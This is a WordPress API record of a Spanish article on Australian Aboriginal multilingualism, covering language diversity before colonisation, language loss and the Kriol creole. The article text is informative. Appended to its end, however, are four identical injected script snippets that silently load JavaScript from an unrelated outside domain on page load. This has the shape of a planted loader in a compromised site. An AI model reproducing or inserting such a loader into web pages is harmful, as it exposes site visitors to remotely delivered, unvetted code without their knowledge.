{"id":66813,"date":"2015-09-05T00:51:15","date_gmt":"2015-09-04T22:51:15","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66813"},"modified":"2025-10-21T21:58:19","modified_gmt":"2025-10-21T19:58:19","slug":"la-tradicion-multilingue-australiana-en-el-contexto-post-colonial","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/","title":{"rendered":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Ma\u00efa Ponsonnet el March 22, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Ma\u00efa Ponsonnet, Doctora en filosof\u00eda, asociada al CREDO (Centro de Investigaci\u00f3n y de Documentaci\u00f3n sobre Ocean\u00eda, CNRS, Marsella) y al departamento Ling\u00fc\u00edstico de la Australian National University, Canberra. Ma\u00efa Ponsonnet trabaja desde 1998 con la comunidad dalab\u00f3n, en el Territorio del Norte en Australia, en particular sobre la documentaci\u00f3n de las lenguas dalab\u00f3n y kriol (criollo local).<\/em><\/p>\n<p><div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Maggie Tukumba, locutora del dalab\u00f3n\" src=\"\/wp-content\/uploads\/ponsonnet1_mtukumba.jpg\" alt=\"Maggie Tukumba, locutora del dalab\u00f3n\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Maggie Tukumba, locutora del dalab\u00f3n, una lengua amenazada de la Tierra de Arnhem, Australia, grabando su lengua con Ma\u00efa Ponsonnet. Foto tomada de un video filmado por Matthieu Rabusseau.<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>\u00ab Lo siento, no hablo \u2018aborigen\u2019 \u00bb<\/strong><\/p>\n<p>Cuando hablo de mi trabajo y de mis actividades de investigaci\u00f3n con los Dalabones, en el norte de Australia, suelo encontrarme con la pregunta: \u00ab \u00bfHabla usted aborigen? \u00bb La pregunta me la hacen algunas veces los europeos, que perciben frecuentemente a Australia como una entidad inmensa pero culturalmente uniforme; y algunas veces por australianos que no han tenido la oportunidad de confrontarse a los esquemas multiling\u00fces de las comunidades abor\u00edgenes de su propio pa\u00eds.<\/p>\n<p>La idea de una Australia aut\u00f3ctona ling\u00fc\u00edsticamente homog\u00e9nea es totalmente err\u00f3nea. Los especialistas estiman que en 1788, cuando los primeros colonos brit\u00e1nicos se instalaron en S\u00eddney, el continente contaba alrededor de unas 250 lenguas distintas (sin contar los dialectos). Numerosos grupos aut\u00f3ctonos de Australia consideran la lengua como un marcador identitario capital: a menudo, utilizan los nombres de lengua m\u00e1s o menos como etiquetas \u00e9tnicas, es decir denominaciones que designan grupos sociales m\u00e1s all\u00e1 del nivel de la familia o del clan.<br \/>\n&nbsp;<br \/>\n<strong>El multiling\u00fcismo australiano, una pr\u00e1ctica durable, a grande escala<\/strong><\/p>\n<p>Sin embargo, la estructura ling\u00fc\u00edstica y la funci\u00f3n identitaria correspondientes a las lenguas no impidieron que los grupos australianos comunicaran entre ellos. Por supuesto, los representantes de grupos del extremo norte jam\u00e1s ten\u00edan la oportunidad de entrar en contacto con los de regiones meridionales, por ejemplo. No se atravesaba el continente y sus 3 000 km de largo a pie \u2013 ni siquiera la mitad de tal distancia para encontrarse en Uluru Ayers Rock. Sin embargo, las personas y los grupos comunicaban: cambiaban bienes, t\u00e9cnicas, esposos y rituales, sobre vastos territorios, ya sea desplaz\u00e1ndose f\u00edsicamente, o por medio de intermediarios, cada grupo intercambiando con sus vecinos m\u00e1s cercanos, tejiendo as\u00ed una red social elaborada.<\/p>\n<p>El multiling\u00fcismo es a la vez la condici\u00f3n y la consecuencia de tal red de intercambio. En los grupos aut\u00f3ctonos de Australia, el aprendizaje de varias lenguas est\u00e1 considerado en general como un proceso espont\u00e1neo, siguiendo el curso normal del crecimiento y de la entrada en la vida de adulto.<\/p>\n<p>La idea es que un ni\u00f1o aprender\u00e1 primero de las lenguas de su madre y de su familia m\u00e1s pr\u00f3xima; esto puede ser hasta tres o cuatro lenguas. Luego otras lenguas pueden ser adquiridas luego del matrimonio con un locutor \/ tora de una lengua diferente, o por interacci\u00f3n con otros grupos a trav\u00e9s de rituales o diversos intercambios culturales. Las aptitudes ling\u00fc\u00edsticas son pues necesarias para interactuar socialmente como adulto separado; pero estas aptitudes son tambi\u00e9n la consecuencia de estas interacciones: el hecho de que un ni\u00f1o pueda naturalmente hablar varias lenguas en su entorno inmediato es una consecuencia de los intercambios de esposos entre diferentes grupos ling\u00fc\u00edsticos, intercambio que est\u00e1 en el coraz\u00f3n del intercambio cultural.<br \/>\n&nbsp;<br \/>\n<strong>La diversidad ling\u00fc\u00edstica australiana en nuestros d\u00edas<\/strong><\/p>\n<p>Hoy, en la inmensa mayor\u00eda de las regiones de Australia, la realidad de los hechos difiere de este esquema tradicional. Numerosas lenguas han desaparecido, sus locutores las han reemplazado ya sea por una lengua aborigen vecina en lo sucesivo utilizada como lengua vehicular, o bien por un criollo (a menudo el kriol, el principal criollo australiano), o por el ingl\u00e9s (a menudo la variedad llamada ingl\u00e9s aborigen. Sobre cerca de 250 lenguas en el siglo XVIII, estimaciones recientes afirman que 145 son todav\u00eda habladas \u201cen un grado m\u00e1s o menos elevado\u201d (Lee y Obata, 2010). Entre \u00e9stas, muchas est\u00e1n seriamente amenazadas, con solamente un pu\u00f1ado de locutores. Unas veinte lenguas tendr\u00edan mejor salud, con un mayor n\u00famero de sus locutores (a veces algunos millares) y su ense\u00f1anza que ser\u00eda todav\u00eda asegurada entre los ni\u00f1os: el warlpiri y el arrente en el Centro, las lenguas yolngu, el bininj gun-wok en Tierra de Arnhem (pen\u00ednsula del Top End, el centro norte), el murrinh-patha, al este del Top End, el tiwi en la isla de Tiwi (mar de Arafura), el guugu yimidirr en Queensland, y otros \u2026<br \/>\n&nbsp;<br \/>\n<strong>La lengua australiana m\u00e1s difundida<\/strong><\/p>\n<p>La lengua aborigen australiana m\u00e1s difundida, sin embargo, est\u00e1 lejos de ser el kriol, un criollo local que se desarroll\u00f3 y se difundi\u00f3 sobre varias regiones de la pen\u00ednsula del Top End a principios del siglo XX. Las diferentes variedades de kriol cuentan hoy por lo menos con 20 000 locutores, y son habladas hasta la cadena de Kimberleys.<\/p>\n<p>El kriol goza de diferentes grados de reconocimiento entre sus propios locutores. Ciertas comunidades lo consideran como una variante del ingl\u00e9s, un \u201cpidgin\u201d o del ingl\u00e9s dicho roto (\u201d broken English \u201c); otros lo adoptaron como una lengua en s\u00ed, y la reivindican con orgullo y afecto. Sea lo que sea, por parte del n\u00famero de sus emisores y su dinamismo, el kriol es un componente importante de la diversidad ling\u00fc\u00edstica australiana, y un componente esencial del multiling\u00fcismo aut\u00f3ctono contempor\u00e1neo. Y sin embargo, el kriol es sumamente desconocido al nivel nacional.<\/p>\n<p>A pesar de un cierto inter\u00e9s y curiosidad, el p\u00fablico australiano en general no sabe gran cosa respecto al kriol, o m\u00e1s globalmente respecto a las lenguas abor\u00edgenes, pr\u00e1cticas ling\u00fc\u00edsticas en las comunidades aut\u00f3ctonas, o incluso de la diversidad ling\u00fc\u00edstica de manera general. Esta ignorancia relativa no es muy sorprendente en un pa\u00eds angl\u00f3fono monoling\u00fce. Y desde luego, esto no facilita la tarea de las comunidades aut\u00f3ctonas de Australia en su esfuerzo por conservar su tradici\u00f3n de multiling\u00fcismo.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Ma\u00efa Ponsonnet el March 22, 2011 &nbsp; Por Ma\u00efa Ponsonnet, Doctora en filosof\u00eda, asociada al CREDO (Centro de Investigaci\u00f3n y de Documentaci\u00f3n sobre Ocean\u00eda, CNRS, Marsella) y al departamento Ling\u00fc\u00edstico de la Australian National University, Canberra. Ma\u00efa Ponsonnet trabaja desde 1998 con la comunidad dalab\u00f3n, en el Territorio del Norte en Australia, en [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66813","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Ma\u00efa Ponsonnet el March 22, 2011 &nbsp; Por Ma\u00efa Ponsonnet, Doctora en filosof\u00eda, asociada al CREDO (Centro de Investigaci\u00f3n y de Documentaci\u00f3n sobre Ocean\u00eda, CNRS, Marsella) y al departamento Ling\u00fc\u00edstico de la Australian National University, Canberra. Ma\u00efa Ponsonnet trabaja desde 1998 con la comunidad dalab\u00f3n, en el Territorio del Norte en Australia, en [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T22:51:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:58:19+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial\",\"datePublished\":\"2015-09-04T22:51:15+00:00\",\"dateModified\":\"2025-10-21T19:58:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\"},\"wordCount\":1065,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\",\"name\":\"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T22:51:15+00:00\",\"dateModified\":\"2025-10-21T19:58:19+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/","og_locale":"es_ES","og_type":"article","og_title":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro","og_description":"Publicado por Ma\u00efa Ponsonnet el March 22, 2011 &nbsp; Por Ma\u00efa Ponsonnet, Doctora en filosof\u00eda, asociada al CREDO (Centro de Investigaci\u00f3n y de Documentaci\u00f3n sobre Ocean\u00eda, CNRS, Marsella) y al departamento Ling\u00fc\u00edstico de la Australian National University, Canberra. Ma\u00efa Ponsonnet trabaja desde 1998 con la comunidad dalab\u00f3n, en el Territorio del Norte en Australia, en [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T22:51:15+00:00","article_modified_time":"2025-10-21T19:58:19+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial","datePublished":"2015-09-04T22:51:15+00:00","dateModified":"2025-10-21T19:58:19+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/"},"wordCount":1065,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/","name":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T22:51:15+00:00","dateModified":"2025-10-21T19:58:19+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-tradicion-multilingue-australiana-en-el-contexto-post-colonial\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"La tradici\u00f3n multiling\u00fce australiana en el contexto post-colonial"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66813"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66813\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}